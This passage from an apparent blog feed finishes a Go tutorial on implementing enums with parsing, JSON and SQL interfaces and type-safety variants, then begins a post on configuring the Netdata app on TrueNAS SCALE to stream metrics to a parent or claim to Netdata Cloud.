</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Green</span>.<span style="color:#a6e22e">String</span>():
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">Green</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Blue</span>.<span style="color:#a6e22e">String</span>():
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">Blue</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">Red</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;%q is not a valid color: %w&#34;</span>, <span style="color:#a6e22e">in</span>, <span style="color:#a6e22e">ErrInvalidColor</span>)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>Once again, we could implement this in many different ways, but they will have the downside that if we&rsquo;re ever expanding our <code>Color</code> enum, we&rsquo;ll have to go into the <code>ParseColor</code> and extend it to support our new members. There are tools that can generate this for us, and I&rsquo;ll talk about them later.</p>
<p>With this, we can implement the <code>UnmarshalText</code> method and unmarshal an input with colors as strings like so:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">c</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Color</span>) <span style="color:#a6e22e">UnmarshalText</span>(<span style="color:#a6e22e">text</span> []<span style="color:#66d9ef">byte</span>) <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">parsed</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">ParseColor</span>(string(<span style="color:#a6e22e">text</span>))
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span><span style="color:#a6e22e">c</span> = <span style="color:#a6e22e">parsed</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">MyRequest</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Color</span> <span style="color:#a6e22e">Color</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">dest</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">MyRequest</span>{}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">_</span> = <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">Unmarshal</span>([]byte(<span style="color:#e6db74">`{&#34;Color&#34;: &#34;Blue&#34;}`</span>), <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">dest</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">dest</span>.<span style="color:#a6e22e">Color</span>.<span style="color:#a6e22e">String</span>()) <span style="color:#75715e">// Blue</span></span></span></code></pre></div>
<p>If an invalid color is provided, the unmarshalling will result in an <code>ErrInvalidColor</code> error.</p>
<p>Similarly, we could implement the <code>Valuer</code> and <code>Scanner</code> interfaces for database interactions:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">c</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Color</span>) <span style="color:#a6e22e">Scan</span>(<span style="color:#a6e22e">v</span> <span style="color:#66d9ef">interface</span>{}) <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">col</span>, <span style="color:#a6e22e">ok</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">v</span>.(<span style="color:#66d9ef">string</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">ok</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;could not convert %T to color&#34;</span>, <span style="color:#a6e22e">v</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">color</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">ParseColor</span>(<span style="color:#a6e22e">col</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span><span style="color:#a6e22e">c</span> = <span style="color:#a6e22e">color</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">Color</span>) <span style="color:#a6e22e">Value</span>() (<span style="color:#a6e22e">driver</span>.<span style="color:#a6e22e">Value</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">String</span>(), <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<h3 id="reducing-boilerplate">Reducing boilerplate</h3>
<p>If you&rsquo;re working with quite a few enums and need the custom marshalling and stringer/valuer/scanner interface implementations it can become quite tedious having to do all these steps for each of your enums. Everything that I&rsquo;ve discussed so far can be generated with <a href="https://github.com/abice/go-enum">the go-enum library</a>. With it, the enum definition becomes a bit different:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">//go:generate go-enum --marshal --sql</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// ENUM(Red, Green, Blue)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Color</span> <span style="color:#66d9ef">int</span></span></span></code></pre></div>
<p>If you run <code>go generate ./...</code> a file will be generated including all the custom marshalling, parsing and stringer/valuer/scanner implementations. This is a great tool if you work with multiple enums and have to do this often.</p>
<p>Another alternative that leverages generics and avoids generation is <a href="https://github.com/orsinium-labs/enum">the enum library</a>.</p>
<p>Both of these are valid options and it is up to the reader to choose one that suits your needs. I will go over my preferences at the end of this blog post.</p>
<h3 id="improving-type-safety-by-using-structs">Improving type safety by using structs</h3>
<p>There&rsquo;s one caveat with these enums and that&rsquo;s the fact that one can just construct a new enum member by hand. There&rsquo;s nothing preventing me from defining a <code>var Yellow = Color(3)</code> and passing that to a function expecting a color:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">UseColors</span>(<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">Color</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// would actually do something useful</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">String</span>())
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">Yellow</span> = <span style="color:#a6e22e">Color</span>(<span style="color:#ae81ff">3</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">UseColors</span>(<span style="color:#a6e22e">Yellow</span>) <span style="color:#75715e">// completely valid code</span></span></span></code></pre></div>
<p>Firstly, I would like to say that there is no bulletproof way to protect from this, but there are some things you can do.</p>
<p>If we define our enum as a struct in a separate package:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">colors</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Color</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">id</span>   <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">name</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Red</span>     = <span style="color:#a6e22e">Color</span>{<span style="color:#a6e22e">id</span>: <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">name</span>: <span style="color:#e6db74">&#34;Red&#34;</span>}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Green</span>   = <span style="color:#a6e22e">Color</span>{<span style="color:#a6e22e">id</span>: <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">name</span>: <span style="color:#e6db74">&#34;Green&#34;</span>}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Blue</span>    = <span style="color:#a6e22e">Color</span>{<span style="color:#a6e22e">id</span>: <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">name</span>: <span style="color:#e6db74">&#34;Blue&#34;</span>}
</span></span><span style="display:flex;"><span>)</span></span></code></pre></div>
<p>You would obviously include ways to construct valid enums from outside the package by either the ID or name, the methods for serializing, stringifying and any other needs you have. However, this only provides an illusion of safety, since you can do any of the following:</p>
<ol>
<li>Reassign one color as another: <code>colors.Red = colors.Blue</code>.</li>
<li>Create an uninitialized color: <code>var myColor = colors.Color{}</code>.</li>
</ol>
<p>For 2) we could shift our enum by 1, and include an unknown value with the id of 0.
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Unknown</span> = <span style="color:#a6e22e">Color</span>{<span style="color:#a6e22e">id</span>: <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">name</span>: <span style="color:#e6db74">&#34;&#34;</span>}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Red</span>     = <span style="color:#a6e22e">Color</span>{<span style="color:#a6e22e">id</span>: <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">name</span>: <span style="color:#e6db74">&#34;Red&#34;</span>}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Green</span>   = <span style="color:#a6e22e">Color</span>{<span style="color:#a6e22e">id</span>: <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">name</span>: <span style="color:#e6db74">&#34;Green&#34;</span>}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Blue</span>    = <span style="color:#a6e22e">Color</span>{<span style="color:#a6e22e">id</span>: <span style="color:#ae81ff">3</span>, <span style="color:#a6e22e">name</span>: <span style="color:#e6db74">&#34;Blue&#34;</span>}
</span></span><span style="display:flex;"><span>)</span></span></code></pre></div></p>
<p>We&rsquo;d still have to handle this unknown value in any code dealing with colors:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">UseColors</span>(<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">colors</span>.<span style="color:#a6e22e">Color</span>) <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">c</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">colors</span>.<span style="color:#a6e22e">Unknown</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;received unknown color&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// do something with the valid colors</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>Since structs can not be declared const, we have to become inventive to cover ourselves from 1). We can define the colors as funcs:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Unknown</span>() <span style="color:#a6e22e">Color</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">Color</span>{}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Red</span>() <span style="color:#a6e22e">Color</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">Color</span>{<span style="color:#a6e22e">id</span>: <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">name</span>: <span style="color:#e6db74">&#34;Red&#34;</span>}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Green</span>() <span style="color:#a6e22e">Color</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">Color</span>{<span style="color:#a6e22e">id</span>: <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">name</span>: <span style="color:#e6db74">&#34;Green&#34;</span>}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Blue</span>() <span style="color:#a6e22e">Color</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">Color</span>{<span style="color:#a6e22e">id</span>: <span style="color:#ae81ff">3</span>, <span style="color:#a6e22e">name</span>: <span style="color:#e6db74">&#34;Blue&#34;</span>}
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>With this in place, you can no longer assign a color as another.</p>
<p>An alternative approach would be to make the color type an unexported int and only export its members:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">color</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Red</span> <span style="color:#a6e22e">color</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Green</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Blue</span>
</span></span><span style="display:flex;"><span>)</span></span></code></pre></div></p>
<p>To make this type even remotely useful, we could export and implement a Colors interface:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Color</span> <span style="color:#66d9ef">interface</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ID</span>() <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Name</span>() <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Equals</span>(<span style="color:#a6e22e">Color</span>) <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">color</span>) <span style="color:#a6e22e">ID</span>() <span style="color:#66d9ef">int</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> int(<span style="color:#a6e22e">c</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">color</span>) <span style="color:#a6e22e">Name</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">c</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;Red&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;Green&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#ae81ff">2</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;Blue&#34;</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#e6db74">&#34;Color(%q)&#34;</span>, int(<span style="color:#a6e22e">c</span>))
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">color</span>) <span style="color:#a6e22e">Equals</span>(<span style="color:#a6e22e">in</span> <span style="color:#a6e22e">Color</span>) <span style="color:#66d9ef">bool</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">ID</span>() <span style="color:#f92672">==</span> <span style="color:#a6e22e">in</span>.<span style="color:#a6e22e">ID</span>()
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>You could then use it like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">UseColors</span>(<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">colors</span>.<span style="color:#a6e22e">Color</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Equals</span>(<span style="color:#a6e22e">colors</span>.<span style="color:#a6e22e">Red</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// do something with red</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>In theory, you could still write a custom implementation of this interface and create a custom color like that but I think that is highly unlikely to happen.</p>
<p>However, I&rsquo;m not a big fan of these approaches as they seem a tad cumbersome while providing little in return.</p>
<h3 id="my-personal-enum-preferences">My personal enum preferences</h3>
<p>With all this said, I&rsquo;d like to point out a few things that have been working quite well for me in practice and my general experience:</p>
<ul>
<li>Enums are not as widespread as one might think. Even in large code bases, you&rsquo;re very likely to have only a handful of enums. Using libraries for this might be overkill.</li>
<li>I value consistency very highly when it comes to code so I usually follow whatever pattern is already established for enum definitions in the existing code base.</li>
<li>I only ever reference existing enum members and try to never type cast to an enum.</li>
<li>For fresh projects, I use an int based type with iota with any additional interfaces implemented by hand. If the time comes where this becomes tedious to maintain, I switch to code generation.</li>
<li>Unless enums become part of the language spec, I&rsquo;ll stick to using iota based enums. Any fancy tricks to add more type safety to them just add more boilerplate. I trust the people I work with, our review processes and don&rsquo;t feel the need for these extra safety measures.</li>
</ul>
<p>This is just my opinion and it might not match the situation you&rsquo;re in. Always choose what works best for you!</p>
<p>If you have any suggestions or alternatives, I&rsquo;d be glad to hear them in the comments below.</p>
]]></content:encoded>
        </item>
        <item>
            <title>Streaming Netdata metrics from TrueNAS SCALE</title>
            <link>https://dizzy.zone/2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/</link>
            <pubDate>Sat, 20 Jan 2024 18:41:22 +0200</pubDate>
            
            <guid>https://dizzy.zone/2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/</guid>
            <description><![CDATA[ <p>When you install <a href="https://www.truenas.com/truenas-scale/">TrueNAS SCALE</a> your NAS runs a Netdata. You can verify that by executing <code>systemctl status netdata</code> in the TrueNAS shell. I use Netdata to monitor my homelab and have a parent set up for long term metric storage. I&rsquo;d love to configure the NAS to also push metrics to a parent, so that I can access them all from a single place.</p>
<p>Normally, if you want to set up streaming in Netdata it&rsquo;s enough to edit <code>/etc/netdata/stream.conf</code>. However, I wouldn&rsquo;t recommend doing this on a TrueNAS install for a couple of reasons. Firstly, this is not a recommended way of adjusting configuration and that is clearly evident when you open up the TrueNAS shell:</p>]]></description>
            <content:encoded><![CDATA[ <p>When you install <a href="https://www.truenas.com/truenas-scale/">TrueNAS SCALE</a> your NAS runs a Netdata. You can verify that by executing <code>systemctl status netdata</code> in the TrueNAS shell. I use Netdata to monitor my homelab and have a parent set up for long term metric storage. I&rsquo;d love to configure the NAS to also push metrics to a parent, so that I can access them all from a single place.</p>
<p>Normally, if you want to set up streaming in Netdata it&rsquo;s enough to edit <code>/etc/netdata/stream.conf</code>. However, I wouldn&rsquo;t recommend doing this on a TrueNAS install for a couple of reasons. Firstly, this is not a recommended way of adjusting configuration and that is clearly evident when you open up the TrueNAS shell:</p>
<pre tabindex="0"><code>Warning: the supported mechanisms for making configuration changes
are the TrueNAS WebUI, CLI, and API exclusively. ALL OTHERS ARE
NOT SUPPORTED AND WILL RESULT IN UNDEFINED BEHAVIOR AND MAY
RESULT IN SYSTEM FAILURE.
</code></pre><p>Secondly, if you ignore these warnings and use the shell to adjust the configuration, you&rsquo;ll still end up in a pickle. Trust me, I&rsquo;ve tried. The Netdata version that comes preinstalled with TrueNAS SCALE(<code>23.10.1.1</code>) is <code>v1.37.1</code>. You can verify this by running <code>curl localhost:6999/api/v1/info | grep version</code> in the TrueNAS shell. This version is quite old, over a year old at the time of writing and seems to have bug in the streaming protocol. When I set it up to stream to my Netdata parent, the Netdata daemon in TrueNAS started crashlooping. This meant that no metrics were visible on the TrueNAS Web UI or being streamed to the parent.</p>
<p>At that point I realized I&rsquo;d probably need to use the <a href="https://www.truenas.com/docs/scale/scaletutorials/apps/communityapps/installnetdataapp/">Netdata app</a> on True NAS.</p>
<h2 id="configuring-streaming-to-netdata-parent-via-the-app">Configuring streaming to Netdata parent via the app</h2>
<p>The good thing about this app is that it uses the <a href="https://github.com/netdata/helmchart">Netdata helm chart</a> under the hood, meaning new versions of Netdata are available. Simply install it from the available applications on the TrueNAS Web UI. As far as configuration goes, there is no need to configure anything.</p>
<p>Once the app is installed and running, open up a shell by hitting the button on the app menu:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/app-shell.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/app-shell_hu_354f7c318042e1ef.png 500w,
  /2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/app-shell_hu_12edaa0cf4b09bee.png 800w,
  /2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/app-shell_hu_2bc6919fb14f3328.png 1200w,
  /2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/app-shell_hu_d4170353a6fffcc0.png 1500w'
  src="https://dizzy.zone/2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/app-shell_hu_2bc6919fb14f3328.png" 
  alt="The location of the shell button on TrueNAS Scale Web UI">
</a>
</div>
<p>We&rsquo;re now inside the Netdata container running inside of the kubernetes cluster running on your TrueNAS SCALE. Using your favorite text editor, open <code>/etc/netdata/stream.conf</code> and paste the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ini" data-lang="ini"><span style="display:flex;"><span><span style="color:#66d9ef">[stream]</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">enabled</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  destination = 192.168.1.1:19999
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  api key = 11111111-2222-3333-4444-555555555555
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  timeout seconds = 60
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  buffer size bytes = 1048576
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  reconnect delay seconds = 5
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  initial clock resync iterations = 60</span>
</span></span></code></pre></div><p>Replace <code>192.168.1.1:19999</code> with the host and port of your Netdata parent and <code>11111111-2222-3333-4444-555555555555</code> with your Netdata streaming API key.</p>
<p>The next thing you&rsquo;ll probably want to do is assign this node a proper hostname. By default, Netdata uses the hostname of machine it&rsquo;s running on and since we&rsquo;re on a pod in kubernetes you&rsquo;ll get something catchy like <code>netdata-5f9684f696-mdrhf</code>. Luckily, we can fix that. I will also make a few general adjustments to the Netdata configuration, switching it to in memory mode as well as disable some auxiliary features as that will get handled by the parent. This makes the installation lightweight, consuming less resources of our NAS.</p>
<p>Open <code>/etc/netdata/netdata.conf</code> and paste the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ini" data-lang="ini"><span style="display:flex;"><span><span style="color:#66d9ef">[global]</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">hostname</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">my-catchy-hostname</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">[db]</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mode</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">ram</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">[health]</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">enabled</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">no</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">[ml]</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">enabled</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">no</span>
</span></span></code></pre></div><p>Exit the shell, stop and start the app again. You should now be able to see the new node on your Netdata parent.</p>
<h2 id="claiming-to-netdata-cloud">Claiming to Netdata Cloud</h2>
<p>If you don&rsquo;t have a parent but would like to be able to access the metrics from <a href="https://www.netdata.cloud/">Netdata Cloud</a> it is possible to claim it using the same TrueNAS app. To do so, first grab a few things from the cloud. You&rsquo;ll need the claim token, and the room ID. You can get them by hitting the <code>Add nodes</code> button in the Netdata Cloud. You&rsquo;ll see something like this:</p>
<pre tabindex="0"><code>wget -O /tmp/netdata-kickstart.sh https://get.netdata.cloud/kickstart.sh &amp;&amp; sh /tmp/netdata-kickstart.sh --nightly-channel --claim-token {your_token} --claim-rooms 89f01a07-697e-40ce-b90c-3ee0091a02b5 --claim-url https://app.netdata.cloud
</code></pre><p>Next, head to the TrueNAS SCALE Web UI apps section, find and hit install on Netdata. However, this time some extra configuration is required. Under the <code>Netdata Configuration</code> you&rsquo;ll want to add 3 environment variables:</p>
